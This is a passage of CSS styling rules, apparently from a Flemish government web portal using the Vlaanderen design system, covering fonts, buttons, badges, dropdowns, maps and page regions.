        font-family: Flanders Art Sans, sans-serif;
        font-size: 1em;
        left: 0;
        line-height: 1.22222em;
        min-width: 180px;
        padding: 20px 15px;
        position: absolute;
        text-align: center;
        word-break: keep-all
      }

      .vl-map__external-link {
        box-shadow: 0 0 5px 0 rgba(0, 0, 0, .3);
        padding: 0;
        position: absolute;
        right: 10px;
        text-align: center;
        top: 10px;
        width: 33px
      }

      .vl-map__external-link:before {
        margin: 0 auto
      }

      @media print {
        .vl-map-hide-all * {
          visibility: hidden
        }

        .vl-map__container,
        .vl-map__container * {
          visibility: visible
        }

        .vl-map__container .vl-map__toggle,
        .vl-map__container .vl-map__toggle * {
          visibility: hidden
        }

        div[class^=vl-col-] {
          flex-basis: 100%;
          max-width: 100%;
          min-width: 100%;
          width: 100%
        }
      }

      .vl-checkbox-list .vl-checkbox-list__header {
        background-color: #e8ebee;
        font-weight: 500;
        padding: 5px 10px;
        text-transform: uppercase
      }

      .vl-checkbox-list .vl-checkbox-list__list li {
        border-bottom: 1px solid #e8ebee;
        padding: 5px 10px
      }

      .vl-checkbox-list .vl-checkbox-list__list .vl-checkbox {
        margin: 0
      }

      .vl-checkbox-list .vl-checkbox-list__list .vl-checkbox span {
        left: auto;
        right: 0
      }

      @font-face {
        font-family: "Source Sans Pro";
        font-style: normal;
        font-weight: 300;
        src: url("") format("woff2"), url("") format("woff")
      }

      @font-face {
        font-family: "Source Sans Pro";
        font-style: normal;
        font-weight: 400;
        src: url("") format("woff2"), url("") format("woff")
      }

      @font-face {
        font-family: "Source Sans Pro";
        font-style: normal;
        font-weight: 600;
        src: url("") format("woff2"), url("") format("woff")
      }

      @font-face {
        font-family: "Source Sans Pro";
        font-style: normal;
        font-weight: 700;
        src: url("") format("woff2"), url("") format("woff")
      }

      .vl-badge--accent,
      .vl-infoblock__header__icon,
      .vl-infoblock__header__icon.vl-icon {
        background: #ffed00;
        background: var(--vlw-theme-accent-color, #ffed00);
        color: #333332;
        color: var(--vlw-theme-accent-fg-color, #333332)
      }

      .vl-badge--accent,
      .vl-badge--accent .vl-badge__icon {
        fill: #333332;
        fill: var(--vlw-theme-accent-fg-color, #333332)
      }

      .vl-badge--accent .vl-badge__icon {
        color: #333332;
        color: var(--vlw-theme-accent-fg-color, #333332)
      }

      .vl-form__label,
      .vl-infoblock__title,
      .vl-link--bold,
      .vl-search-filter__section-title,
      .vl-search-result__title,
      .vl-side-navigation__item a,
      .vl-side-navigation__title,
      .vl-tab,
      .vl-tab__link,
      .vl-title,
      .vl-title--h1,
      .vl-title--h2,
      .vl-title--h3,
      .vl-title--h4,
      .vl-title--h5,
      .vl-title--h6,
      .vl-typography b,
      .vl-typography strong {
        font-weight: 500;
        font-weight: var(--vlw-theme-font-weight-bold, 500)
      }

      @page {
        size: A4
      }

      .vl-multiselect--success .multiselect__current,
      .vl-multiselect--success .multiselect__tags,
      .vl-multiselect.valid.validated .multiselect__current,
      .vl-multiselect.valid.validated .multiselect__tags,
      .vl-select--success,
      .vl-select.valid.validated {
        background-color: transparent;
        background-color: initial;
        border-color: #8695a8
      }

      .vl-header__placeholder[data-v-e37f0738] {
        background-color: #fff;
        height: 43px
      }

      .vl-header__container[data-v-e37f0738] {
        height: auto;
        z-index: 10011
      }

      .vl-footer__container[data-v-6936cbf2] {
        flex: 0 0 auto;
        margin-top: auto;
        z-index: 800
      }

      @media screen and (max-width:767px) {
        .nuxt-page--with-mbp-nav .vl-footer__container[data-v-6936cbf2] {
          padding-bottom: 7.25rem
        }
      }
    </style>
    <style type="text/css">
      .bl-session-rety-modal__image__mobile[data-v-1c77a5bd] {
        display: block;
        margin: 2rem auto;
        max-width: 40rem
      }
    </style>
    <style>
      [touch-action="none"] {
        -ms-touch-action: none;
        touch-action: none;
      }

      [touch-action="auto"] {
        -ms-touch-action: auto;
        touch-action: auto;
      }

      [touch-action~="pan-x"] {
        -ms-touch-action: pan-x;
        touch-action: pan-x;
      }

      [touch-action~="pan-y"] {
        -ms-touch-action: pan-y;
        touch-action: pan-y;
      }

      [touch-action~="pan-up"] {
        -ms-touch-action: pan-up;
        touch-action: pan-up;
      }

      [touch-action~="pan-down"] {
        -ms-touch-action: pan-down;
        touch-action: pan-down;
      }

      [touch-action~="pan-left"] {
        -ms-touch-action: pan-left;
        touch-action: pan-left;
      }

      [touch-action~="pan-right"] {
        -ms-touch-action: pan-right;
        touch-action: pan-right;
      }
    </style>
    <style type="text/css">
      .ebox-logo[data-v-55299cdc] {
        max-height: 60px;
        max-width: 200px;
        -o-object-fit: contain;
        object-fit: contain
      }
    </style>
    <style type="text/css">
      .routeplanner-link {
        font-weight: 400
      }
    </style>
    <style type="text/css">
      @charset "UTF-8";

      .vlw html,
      .vlw body,
      .vlw div,
      .vlw span,
      .vlw applet,
      .vlw object,
      .vlw iframe,
      .vlw h1,
      .vlw h2,
      .vlw h3,
      .vlw h4,
      .vlw h5,
      .vlw h6,
      .vlw p,
      .vlw blockquote,
      .vlw pre,
      .vlw a,
      .vlw abbr,
      .vlw acronym,
      .vlw address,
      .vlw big,
      .vlw cite,
      .vlw code,
      .vlw del,
      .vlw dfn,
      .vlw em,
      .vlw img,
      .vlw ins,
      .vlw kbd,
      .vlw q,
      .vlw s,
      .vlw samp,
      .vlw small,
      .vlw strike,
      .vlw strong,
      .vlw sub,
      .vlw sup,
      .vlw tt,
      .vlw var,
      .vlw b,
      .vlw u,
      .vlw i,
      .vlw center,
      .vlw dl,
      .vlw dt,
      .vlw dd,
      .vlw ol,
      .vlw ul,
      .vlw li,
      .vlw fieldset,
      .vlw form,
      .vlw label,
      .vlw legend,
      .vlw table,
      .vlw caption,
      .vlw tbody,
      .vlw tfoot,
      .vlw thead,
      .vlw tr,
      .vlw th,
      .vlw td,
      .vlw article,
      .vlw aside,
      .vlw canvas,
      .vlw details,
      .vlw embed,
      .vlw figure,
      .vlw figcaption,
      .vlw footer,
      .vlw header,
      .vlw hgroup,
      .vlw menu,
      .vlw nav,
      .vlw output,
      .vlw ruby,
      .vlw section,
      .vlw summary,
      .vlw time,
      .vlw mark,
      .vlw audio,
      .vlw video {
        margin: 0;
        padding: 0;
        border: 0;
        font-size: 100%;
        font: inherit;
        vertical-align: baseline;
      }

      .vlw article,
      .vlw aside,
      .vlw details,
      .vlw figcaption,
      .vlw figure,
      .vlw footer,
      .vlw header,
      .vlw hgroup,
      .vlw menu,
      .vlw nav,
      .vlw section {
        display: block;
      }

      .vlw body {
        line-height: 1;
      }

      .vlw ol,
      .vlw ul {
        list-style: none;
      }

      .vlw blockquote,
      .vlw q {
        quotes: none;
      }

      .vlw blockquote:before,
      .vlw blockquote:after,
      .vlw q:before,
      .vlw q:after {
        content: "";
        content: none;
      }

      .vlw table {
        border-collapse: collapse;
        border-spacing: 0;
      }

      .vlw,
      .vlw * {
        box-sizing: border-box;
      }

      .vlw::before,
      .vlw::after,
      .vlw *::before,
      .vlw *::after {
        box-sizing: inherit;
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 300;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-light.woff") format("woff"), url("flanders-sans-light.ttf") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 400;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-regular.woff") format("woff"), url("flanders-sans-regular.ttf") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 500;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-medium.woff") format("woff"), url("flanders-sans-medium.ttf") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-sans";
        font-style: normal;
        font-weight: 700;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("flanders-sans-bold.woff") format("woff"), url("flanders-sans-bold.ttf") format("truetype"), url("") format("svg");
      }

      /* ==== serif ==== */
      /* ==================================== */
      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 300;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 400;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 500;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      @font-face {
        font-family: "flanders-serif";
        font-style: normal;
        font-weight: 700;
        src: url("");
        src: local("☺"), url("") format("embedded-opentype"), url("") format("woff"), url("") format("truetype"), url("") format("svg");
      }

      .vlw a,
      .vlw button,
      .vlw [type=submit] {
        color: var(--vlw-theme-functional-color);
        text-decoration: underline;
        text-decoration-skip: ink;
      }

      .vlw a:hover,
      .vlw a:focus,
      .vlw button:hover,
      .vlw button:focus,
      .vlw [type=submit]:hover,
      .vlw [type=submit]:focus {
        text-decoration: none;
        color: var(--vlw-theme-functional-hover-color);
      }

      .vlw a:focus,
      .vlw a:active,
      .vlw button:focus,
      .vlw button:active,
      .vlw [type=submit]:focus,
      .vlw [type=submit]:active {
        color: var(--vlw-theme-functional-active-color);
      }

      .vlw a:focus,
      .vlw a:active {
        background: none;
        background-color: none;
        border: none;
      }

      .vlw::before {
        display: none;
        content: "large";
      }

      @media screen and (max-width: 1023px) {
        .vlw::before {
          content: "medium";
        }
      }

      @media screen and (min-width: 767.1px) {
        .vlw::before {
          content: "medium-up";
        }
      }

      @media screen and (max-width: 767px) {
        .vlw::before {
          content: "small";
        }
      }

      @media screen and (max-width: 500px) {
        .vlw::before {
          content: "xsmall";
        }
      }

      @media screen and (min-width: 1600.1px) {
        .vlw::before {
          content: "xlarge";
        }
      }

      .vlw h1,
      .vlw h2,
      .vlw h3,
      .vlw h4,
      .vlw h5,
      .vlw h6 {
        color: #333332;
      }

      :root {
        --vlw-theme-functional-color: #05c;
        --vlw-theme-functional-hover-color: #003bb0;
        --vlw-theme-functional-active-color: #004099;
        --vlw-theme-functional-fg-color: #333332;
        --vlw-theme-functional-color--r: 0;
        --vlw-theme-functional-color--g: 85;
        --vlw-theme-functional-color--b: 204;
        --vlw-theme-primary-color: #ffe615;
        --vlw-theme-primary-hover-color: #fbe000;
        --vlw-theme-primary-active-color: #e1c900;
        --vlw-theme-primary-fg-color: #333332;
        --vlw-theme-base-font: var(--custom-widget-base-font, flanders-sans, sans-serif);
        --vlw-theme-primary-font: var(--custom-widget-primary-font,
            flanders-serif, serif);
        --vlw-theme-font-weight-bold: 500;
      }

      .vlw {
        font-family: var(--vlw-theme-base-font);
        font-size: 16px;
        line-height: 1.5;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
      }

      .vlw .vlw__action-group {
        display: flex;
      }

      .vlw .vlw__action-group .vlw__button:not(:last-child),
      .vlw .vlw__action-group .vlw__link:not(:last-child) {
        margin-right: 15px;
      }

      .vlw .vlw__action-group--align-center {
        align-items: center;
      }

      .vlw .vlw__action-group--align-end {
        align-items: flex-end;
      }

      .vlw .vlw__alert-tile {
        border: 1px #e8ebee solid;
        background: #f1f2f4;
        padding: 15px;
        display: flex;
        width: 100%;
        flex: 1 0 auto;
      }

      .vlw .vlw__alert-tile--success {
        background: #f7fae5;
      }

      .vlw .vlw__alert-tile--success .vlw__alert-tile__svg {
        fill: #8bae00;
      }

      .vlw .vlw__alert-tile--warning {
        background: #fef9e5;
      }

      .vlw .vlw__alert-tile--warning .vlw__alert-tile__svg {
        fill: #ffc515;
      }

      .vlw .vlw__alert-tile--error {
        background: #fbe6e6;
      }

      .vlw .vlw__alert-tile--error .vlw__alert-tile__svg {
        fill: #db3434;
      }

      .vlw .vlw__alert-tile__svg {
        flex: 0 0 18px;
        width: 18px;
        height: 18px;
        margin-right: 15px;
      }

      .vlw .vlw__alert-tile__content {
        line-height: 1.2;
        font-size: 14px;
      }

      .vlw .vlw__alert-tile__title {
        font-size: 16px;
        font-weight: var(--vlw-theme-font-weight-bold);
        line-height: 1.2;
      }

      .vlw .vlw__badge {
        display: inline-block;
        vertical-align: middle;
        width: 60px;
        height: 60px;
        flex-grow: 0;
        flex-shrink: 0;
        position: relative;
        color: #666;
        fill: #666;
        background: #fff;
        border-radius: 100%;
      }

      .vlw .vlw__badge::before {
        content: attr(data-initials);
        position: absolute;
        display: block;
        top: 50%;
        transform: translate(0, -50%);
        -ms-transform: translate(0, -50%);
        left: 0;
        right: 0;
        width: 100%;
        text-align: center;
        font-size: 24px;
        color: #333332;
        text-transform: uppercase;
        font-weight: var(--vlw-theme-font-weight-bold);
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge::before {
          font-size: 20px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge::before {
          font-size: 15px;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge {
          width: 40px;
          height: 40px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge {
          width: 34px;
          height: 34px;
        }
      }

      .vlw .vlw__badge--tiny {
        width: 26px;
        height: 26px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--tiny {
          width: 20px;
          height: 20px;
        }
      }

      .vlw .vlw__badge--tiny::before {
        font-size: 14px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--tiny::before {
          font-size: 12px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge--tiny::before {
          font-size: 10px;
        }
      }

      .vlw .vlw__badge--tiny .vlw__badge__warning {
        width: 40px;
        height: 40px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--tiny .vlw__badge__warning {
          width: 30px;
          height: 30px;
        }
      }

      .vlw .vlw__badge--small {
        width: 43px;
        height: 43px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--small {
          width: 30px;
          height: 30px;
        }
      }

      .vlw .vlw__badge--small::before {
        font-size: 20px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--small::before {
          font-size: 14px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge--small::before {
          font-size: 12px;
        }
      }

      .vlw .vlw__badge--small .vlw__badge__warning {
        width: 20px;
        height: 20px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--small .vlw__badge__warning {
          width: 15px;
          height: 15px;
        }
      }

      .vlw .vlw__badge--large {
        width: 90px;
        height: 90px;
      }

      .vlw .vlw__badge--large::before {
        font-size: 36px;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__badge--large {
          width: 60px;
          height: 60px;
        }

        .vlw .vlw__badge--large::before {
          font-size: 24px;
        }
      }

      .vlw .vlw__badge--menu {
        width: 32px;
        height: 32px;
      }

      .vlw .vlw__badge--menu::before {
        font-size: 14px;
      }

      .vlw .vlw__badge--alt {
        background: #e8ebee;
      }

      .vlw .vlw__badge--accent {
        background: var(--vlw-theme-primary-color);
        color: #333332;
        fill: #333332;
      }

      .vlw .vlw__badge--success {
        background: #8bae00 !important;
        color: #fff;
        fill: #fff;
      }

      .vlw .vlw__badge--success::before {
        color: #fff;
      }

      .vlw .vlw__badge--warning {
        background: #ffc515 !important;
        color: #fff;
        fill: #fff;
      }

      .vlw .vlw__badge--warning::before {
        color: #fff;
      }

      .vlw .vlw__badge--error {
        background: #db3434 !important;
        color: #fff;
        fill: #fff;
      }

      .vlw .vlw__badge--error::before {
        color: #fff;
      }

      .vlw .vlw__badge--placeholder {
        background: #fff;
        border: 2px dashed #cbd2da;
        fill: #cbd2da;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__badge--placeholder.vlw__badge--small {
          border-width: 1px;
        }
      }

      .vlw .vlw__badge--placeholder::before {
        color: #cbd2da;
      }

      .vlw .vlw__badge--bordered {
        border: 1px solid #cbd2da;
      }

      .vlw .vlw__badge--overlap {
        margin-left: -10px;
      }

      .vlw .vlw__badge__icon {
        display: block;
        text-align: center;
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        -ms-transform: translate(-50%, -50%);
        width: 50%;
        height: 50%;
      }

      .vlw .vlw__badge__icon--large {
        width: 60%;
        height: 60%;
      }

      .vlw .vlw__badge__warning {
        display: inline-block;
        position: absolute;
        bottom: -5px;
        right: 0;
        width: 30px;
        height: 30px;
      }

      .vlw .vlw__badge--icon-stretched {
        overflow: hidden;
      }

      .vlw .vlw__badge--icon-stretched .vlw__badge__icon {
        width: 100%;
        height: 100%;
      }

      .vlw .vlw__button {
        display: inline-flex;
        align-items: center;
        background: var(--vlw-theme-functional-color);
        font-size: 16px;
        color: #fff;
        text-decoration: none;
        padding: 7px 14px;
        appearance: none;
        border: 1px solid var(--vlw-theme-functional-color);
        font-family: var(--vlw-theme-base-font);
        cursor: default;
        border-radius: 0.3rem;
        font-weight: 500;
      }

      .vlw .vlw__button:hover {
        background: var(--vlw-theme-functional-hover-color);
        border: 1px solid var(--vlw-theme-functional-hover-color);
        color: #fff;
      }

      .vlw .vlw__button:focus {
        background: var(--vlw-theme-functional-hover-color);
        border: 1px solid var(--vlw-theme-functional-hover-color);
        color: #fff;
        box-shadow: none;
        outline: 3px solid rgba(0, 85, 204, 0.65);
        outline-offset: 2px;
      }

      .vlw .vlw__button:active {
        background: var(--vlw-theme-functional-active-color);
        border-color: var(--vlw-theme-functional-active-color);
        color: #fff;
      }

      .vlw .vlw__button--small {
        padding: 4px 10px;
        font-size: 14px;
      }

      .vlw .vlw__button--disabled {
        background-color: #cbd2da;
        border-color: #cbd2da;
        color: #fff;
        cursor: not-allowed;
      }

      .vlw .vlw__button--disabled:hover,
      .vlw .vlw__button--disabled:focus,
      .vlw .vlw__button--disabled:active {
        background-color: #cbd2da;
        border-color: #cbd2da;
        color: #fff;
        box-shadow: none;
      }

      .vlw .vlw__button--focus {
        outline: none;
        box-shadow: 0 0 0 2px #ffc515;
      }

      .vlw .vlw__button--focus:hover {
        outline: none;
        box-shadow: 0 0 0 2px #ffc515;
      }

      .vlw .vlw__button--secondary {
        background-color: transparent;
        color: var(--vlw-theme-functional-color);
        border: 2px solid currentColor;
        transition: color 0.2s, border-color 0.2s, box-shadow 0.2s;
      }

      .vlw .vlw__button--secondary:visited {
        color: var(--vlw-theme-functional-color);
      }

      .vlw .vlw__button--secondary:focus {
        color: var(--vlw-theme-functional-color);
        background-color: transparent;
        border: 2px solid currentColor;
        box-shadow: none;
        outline: 3px solid rgba(0, 85, 204, 0.65);
        outline-offset: 2px;
      }

      .vlw .vlw__button--secondary:hover,
      .vlw .vlw__button--secondary:active {
        color: var(--vlw-theme-functional-hover-color);
        background-color: transparent;
        border-color: var(--vlw-theme-functional-hover-color);
        border: 2px solid;
      }

      .vlw .vlw__button--loading {
        background-color: #cbd2da;
        border-color: #cbd2da;
        position: relative;
        color: #cbd2da !important;
      }

      .vlw .vlw__button--loading:hover,
      .vlw .vlw__button--loading:focus,
      .vlw .vlw__button--loading:active {
        background-color: #cbd2da;
        border-color: #cbd2da;
        box-shadow: none;
      }

      .vlw .vlw__button--loading:hover::before,
      .vlw .vlw__button--loading:focus::before,
      .vlw .vlw__button--loading:active::before {
        background-color: #cbd2da;
      }

      .vlw .vlw__button--loading:visited {
        color: #cbd2da;
      }

      .vlw .vlw__button--loading::before {
        animation: waving-light infinite 1s linear;
        content: "";
        display: block;
        position: absolute;
        top: 50%;
        left: 50%;
        margin-top: -0.2rem;
        margin-left: -1.4rem;
        width: 0.3rem;
        height: 0.3rem;
        background-color: #cbd2da;
        border-radius: 50%;
        box-shadow: 1rem 0 #fff, 2rem 0 #fff, 3rem 0 #fff;
      }

      @keyframes waving-light {
        0% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px 0px #fff;
        }

        10% {
          box-shadow: 10px -3px #fff, 20px 0px #fff, 30px 0px #fff;
        }

        20% {
          box-shadow: 10px -6px #fff, 20px -3px #fff, 30px 0px #fff;
        }

        30% {
          box-shadow: 10px -3px #fff, 20px -6px #fff, 30px -3px #fff;
        }

        40% {
          box-shadow: 10px 0px #fff, 20px -3px #fff, 30px -6px #fff;
        }

        50% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px -3px #fff;
        }

        60% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px 0px #fff;
        }

        100% {
          box-shadow: 10px 0px #fff, 20px 0px #fff, 30px 0px #fff;
        }
      }

      .vlw .vlw__button[type=submit] {
        color: #fff;
        text-decoration: none;
      }

      .vlw .vlw__button[type=submit]:hover,
      .vlw .vlw__button[type=submit]:focus {
        color: #fff;
      }

      .vlw .vlw__button__icon {
        display: inline-block;
        vertical-align: middle;
        fill: #fff;
        width: 14px;
        height: 14px;
      }

      .vlw .vlw__button__icon--before {
        margin-right: 10px;
      }

      .vlw .vlw__button__icon--after {
        margin-left: 10px;
      }

      .vlw .vlw__description-data__label {
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      .vlw .vlw__description-data__label,
      .vlw .vlw__description-data__subdata {
        display: block;
        color: #666;
        font-size: 16px;
        font-weight: 400;
      }

      .vlw .vlw__description-data__label--small,
      .vlw .vlw__description-data__subdata--small {
        color: #333332;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
        font-size: 14px;
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__description-data__label,
        .vlw .vlw__description-data__subdata {
          font-size: 14px;
        }

        .vlw .vlw__description-data__label .vlw__link,
        .vlw .vlw__description-data__subdata .vlw__link {
          font-size: 14px;
        }
      }

      .vlw .vlw__description-data__value,
      .vlw .vlw__description-data__data {
        display: block;
        color: #666;
        font-size: 14px;
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__description-data__value,
        .vlw .vlw__description-data__data {
          font-size: 14px;
        }
      }

      .vlw .vlw__description-data__icon {
        position: absolute;
        top: -4px;
        left: 0;
        color: #cbd2da;
        font-size: 22px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__description-data__icon {
          top: -2px;
          font-size: 18px;
        }
      }

      .vlw .vlw__description-data__icon-wrapper {
        position: relative;
        padding: 0 0 0 40px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__description-data__icon-wrapper {
          padding: 0 0 0 30px;
        }
      }

      .vlw .vlw__description-data--bordered {
        border: 1px solid #cbd2da;
        border-width: 1px 0;
        padding: 10px 0;
      }

      .vlw .vlw__description-data__wrapper--alt {
        background: #fff;
        padding: 15px 0;
      }

      .vlw .vlw__dropdown__content {
        position: absolute;
        z-index: 10005;
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        width: 300px;
        max-width: 100vw;
        background: #fff;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__dropdown__content {
          box-shadow: 0 -3px 25px rgba(0, 0, 0, 0.2);
        }
      }

      .vlw .vlw__dropdown__content__layers {
        display: block;
        position: relative;
        width: 100%;
        overflow: hidden;
        min-height: 150px;
        height: 400px;
        max-height: calc(100vh - 200px);
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__dropdown__content__layers {
          max-height: 50vh;
        }
      }

      .vlw .vlw__dropdown__content__layers--has-header:after {
        display: block;
        content: "";
        position: absolute;
        z-index: -1;
        top: 0;
        left: 0;
        width: 100%;
        height: 43px;
        background: #e8ebee;
      }

      .vlw .vlw__dropdown__content__layer {
        display: flex;
        flex-direction: column;
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: #fff;
      }

      .vlw .vlw__dropdown__content__header,
      .vlw .vlw__dropdown__content__footer {
        background: #fff;
        padding: 12px 15px;
      }

      .vlw .vlw__dropdown__content__footer {
        border-top: 1px solid #cbd2da;
      }

      .vlw .vlw__dropdown__content__header {
        min-height: 43px;
        border-bottom: 1px solid #cbd2da;
      }

      .vlw .vlw__dropdown__content__header--flex {
        display: flex;
      }

      .vlw .vlw__dropdown__content__header__cta {
        position: relative;
        background: none;
        border: 0;
        height: 21px;
        fill: #333332;
        color: var(--vlw-theme-functional-color);
        cursor: pointer;
      }

      .vlw .vlw__dropdown__content__header__cta:hover,
      .vlw .vlw__dropdown__content__header__cta:focus {
        fill: var(--vlw-theme-functional-color);
      }

      .vlw .vlw__dropdown__content__header__cta--before {
        padding: 0;
        padding-right: 15px;
        margin-right: 15px;
      }

      .vlw .vlw__dropdown__content__header__cta--before::before {
        content: "";
        position: absolute;
        top: 1px;
        right: 0;
        height: 17px;
        background: #cbd2da;
        width: 1px;
      }

      .vlw .vlw__dropdown__content__header__cta__icon {
        width: 13px;
        height: 13px;
        fill: inherit;
      }

      .vlw .vlw__dropdown__content__header__title {
        display: flex;
        font-weight: var(--vlw-theme-font-weight-bold);
        line-height: 1.2;
      }

      .vlw .vlw__dropdown__content__header__title__icon {
        width: 18px;
        height: 18px;
        flex: 0 0 18px;
        margin-right: 10px;
      }

      .vlw .vlw__dropdown__content__overflow {
        overflow: auto;
        max-height: 70vh;
        padding-top: 5px;
        padding-bottom: 10px;
        -webkit-overflow-scrolling: touch;
      }

      .vlw__dropdown--has-header.vlw__dropdown--has-footer .vlw .vlw__dropdown__content__overflow {
        max-height: calc(100vh - 154px);
      }

      .vlw__dropdown--has-header .vlw .vlw__dropdown__content__overflow,
      .vlw__dropdown--has-footer .vlw .vlw__dropdown__content__overflow {
        max-height: calc(100vh - 154px);
      }

      .vlw .vlw__dropdown__content__close {
        display: none;
        position: absolute;
        top: 1px;
        right: 0;
        z-index: 10006;
        padding: 15px;
        fill: #333332;
        border: 0;
        appearance: none;
        background: none;
        cursor: pointer;
        line-height: 1;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__dropdown__content__close {
          display: block;
        }
      }

      .vlw .vlw__dropdown__content__close:hover,
      .vlw .vlw__dropdown__content__close:focus {
        fill: var(--vlw-theme-functional-color);
      }

      .vlw .vlw__dropdown__content__close__icon {
        width: 12px;
        height: 12px;
        fill: inherit;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__dropdown__list__item:first-of-type {
          max-width: calc(100% - 45px);
        }
      }

      .vlw .vlw__dropdown__list__item__title {
        font-size: 16px;
        padding: 8px 15px 4px;
        font-weight: 500;
      }

      .vlw .vlw__dropdown__list__item__cta {
        display: flex;
        align-items: center;
        padding: 10px 15px;
        color: var(--vlw-theme-functional-color);
        text-decoration: none;
        font-size: 15px;
        line-height: 1.2;
      }

      .vlw .vlw__dropdown__list__item__cta[href]:hover,
      .vlw .vlw__dropdown__list__item__cta[href]:focus {
        color: var(--vlw-theme-functional-color);
        text-decoration: underline;
        cursor: pointer;
      }

      .vlw .vlw__dropdown__list__item__cta--current {
        color: #333332;
        font-weight: var(--vlw-theme-font-weight-bold);
      }

      .vlw .vlw__dropdown__list__item__cta__icon {
        flex: 0 0 13px;
        width: 13px;
        height: 13px;
        fill: currentColor;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--large {
        flex: 0 0 16px;
        width: 16px;
        height: 16px;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--before {
        margin-right: 5px;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--after {
        margin-left: 5px;
      }

      .vlw .vlw__dropdown__list__item__cta__icon--light {
        fill: #666;
      }

      .vlw .vlw__dropdown__list__item__cta__badge {
        flex: 0 0 auto;
        margin-right: 7px;
      }

      .vlw .vlw__dropdown__list__separator {
        height: 1px;
        background: #e8ebee;
        margin-top: 10px;
        margin-bottom: 10px;
        width: 100%;
      }

      .vlw .vlw__icon--color-warning {
        fill: #cc6e2a;
      }

      .vlw .vlw__iframe {
        box-shadow: 0 6px 15px rgba(0, 0, 0, 0.15);
        background: #fff;
        margin: 10px;
        position: fixed;
        left: 0;
        top: 43px;
        right: 0;
        bottom: 0;
      }

      .vlw .vlw__iframe__header {
        display: flex;
        align-items: center;
        justify-content: flex-end;
        flex: 0 0 auto;
        width: 100%;
        height: 44px;
        background: #f1f2f4;
        border-bottom: 1px #cbd2da solid;
        padding: 0 0 0 15px;
        font-weight: var(--vlw-theme-font-weight-bold, 500);
      }

      .vlw .vlw__iframe__header__close {
        display: block;
        width: 46px;
        line-height: 1;
        padding: 15px;
      }

      .vlw .vlw__iframe__header__close--icon {
        display: block;
        fill: inherit;
      }

      .vlw .vlw__iframe__content {
        height: calc(100% - 44px);
        width: 100%;
      }

      .vlw .vlw__info-tile {
        display: flex;
      }

      .vlw .vlw__info-tile__icon {
        margin-right: 15px;
        margin-top: 3px;
      }

      .vlw .vlw__info-tile__icon__svg {
        width: 18px;
        height: 18px;
        fill: inherit;
        transition: fill 0.1s ease-in-out;
        pointer-events: none;
      }

      .vlw .vlw__info-tile__content {
        display: inline;
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(255, 230, 21, 0.3);
      }

      .vlw .vl-page {
        position: relative;
        width: 100%;
        background-color: #fff;
      }

      .vlw .vl-page .vl-main-content>.vl-region:last-child {
        padding-bottom: 10rem;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-page .vl-main-content>.vl-region:last-child {
          padding-bottom: 7rem;
        }
      }

      .vlw .vl-main-content {
        outline: none;
        position: relative;
      }

      .vlw .vl-region {
        margin: 0 auto;
        padding: 3rem 0 6rem;
      }

      @media screen and (max-width: 767px) {
        .vlw .vl-region {
          padding: 3rem 0;
        }
      }

      .vlw .vl-region.vl-region--no-space {
        padding: 0;
      }

      .vlw .vl-region.vl-region--no-space-bottom {
        padding-bottom: 0;
      }

      .vlw .vl-region.vl-region--no-space-top {
        padding-top: 0;
      }

      .vlw .vl-region:not(.vl-region--alt)+.vl-region:not(.vl-region--alt) {
        padding-top: 0;
      }

      .vlw .vl-region--alt {
